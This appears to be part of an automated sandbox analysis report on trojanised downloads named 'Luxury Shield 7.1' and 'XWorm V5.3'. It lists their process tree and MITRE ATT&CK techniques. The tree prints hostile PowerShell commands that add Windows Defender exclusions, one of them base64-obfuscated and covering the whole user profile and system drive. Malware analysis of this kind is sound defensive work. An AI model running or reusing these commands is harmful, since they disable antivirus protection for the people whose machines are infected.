- - C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe
    "C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe"
    3⤵
    PID:1496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2312 -s 3828
    3⤵
    - Program crash
    PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRAR.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:372
- C:\Users\Admin\AppData\Local\Temp\WinRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\WinRAR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3788

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2192

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe"
1⤵
PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5388
- C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRAR.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5768
- C:\Users\Admin\AppData\Local\Temp\WinRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\WinRAR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5696

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5852

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5688

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1704

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2472

C:\Users\Admin\Downloads\XWorm_V5.3\XWorm_V5.3\XWorm V5.3.exe
"C:\Users\Admin\Downloads\XWorm_V5.3\XWorm_V5.3\XWorm V5.3.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:1280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAdQB5ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYgByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAdABjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZgBsACMAPgA="
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5388
- C:\Windows\Progman.exe
  "C:\Windows\Progman.exe"
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Users\Admin\Downloads\XWorm_V5.3\XWorm_V5.3\XWorm.exe
  "C:\Users\Admin\Downloads\XWorm_V5.3\XWorm_V5.3\XWorm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Enumerates system info in registry
  - Modifies Internet Explorer settings
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:444
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\kkjqoena\kkjqoena.cmdline"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:4776
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD71.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc381C51ECC54B42DAA0C641C297BFFDB.TMP"
      4⤵
      PID:2696

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4032

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3896

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2312 -ip 2312
1⤵
PID:1464

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe"
1⤵
PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4536
- - C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe
    "C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe"
    3⤵
    PID:5912
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zld2ybby\zld2ybby.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5572
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9071.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3DB3029D260A4DEEAF138254C3A6C9CB.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3124
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c ILMerge /target:winexe /out:C:\Users\Admin\AppData\Local\Temp\WaJWL.exe C:\Users\Admin\AppData\Local\Temp\cDJNB C:\yWorks.dll /targetplatform:v4,C:\Windows\Microsoft.NET\Framework\v4.0.30319
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4916
  - - C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe
      ILMerge /target:winexe /out:C:\Users\Admin\AppData\Local\Temp\WaJWL.exe C:\Users\Admin\AppData\Local\Temp\cDJNB C:\yWorks.dll /targetplatform:v4,C:\Windows\Microsoft.NET\Framework\v4.0.30319
      4⤵
      PID:2184
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ng5ahxen\ng5ahxen.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3752
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEBFB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3E4AC9F2F2C41CD939B208A8BEA7966.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5332
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c ILMerge /target:winexe /out:C:\Users\Admin\AppData\Local\Temp\WaJWL.exe C:\Users\Admin\AppData\Local\Temp\cDJNB C:\yWorks.dll /targetplatform:v4,C:\Windows\Microsoft.NET\Framework\v4.0.30319
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4080
  - - C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe
      ILMerge /target:winexe /out:C:\Users\Admin\AppData\Local\Temp\WaJWL.exe C:\Users\Admin\AppData\Local\Temp\cDJNB C:\yWorks.dll /targetplatform:v4,C:\Windows\Microsoft.NET\Framework\v4.0.30319
      4⤵
      PID:4392
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0prb1rln\0prb1rln.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4504
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6CC61FE7FEC240FB9074F2B886A2F9F1.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4976
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c ILMerge /target:winexe /out:C:\Users\Admin\AppData\Local\Temp\WaJWL.exe C:\Users\Admin\AppData\Local\Temp\cDJNB C:\yWorks.dll /targetplatform:v4,C:\Windows\Microsoft.NET\Framework\v4.0.30319
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3940
  - - C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\ILMerge.exe
      ILMerge /target:winexe /out:C:\Users\Admin\AppData\Local\Temp\WaJWL.exe C:\Users\Admin\AppData\Local\Temp\cDJNB C:\yWorks.dll /targetplatform:v4,C:\Windows\Microsoft.NET\Framework\v4.0.30319
      4⤵
      PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRAR.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:68
- C:\Users\Admin\AppData\Local\Temp\WinRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\WinRAR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5272

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe"
1⤵
PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRAR.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5536
- C:\Users\Admin\AppData\Local\Temp\WinRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\WinRAR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5032

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3468

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5856

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
- System Location Discovery: System Language Discovery
PID:4188

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3500

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
- System Location Discovery: System Language Discovery
PID:1532

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1792

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4648

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\nexusv2.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\nexusv2.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:3136
- C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\nexusv2.exe
  "C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\nexusv2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:1448

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3396

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3204

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5132

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5908

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5572

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6040

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5572

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2656

C:\Users\Public\WinRAR.exe
C:\Users\Public\WinRAR.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Scripting

T1064

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery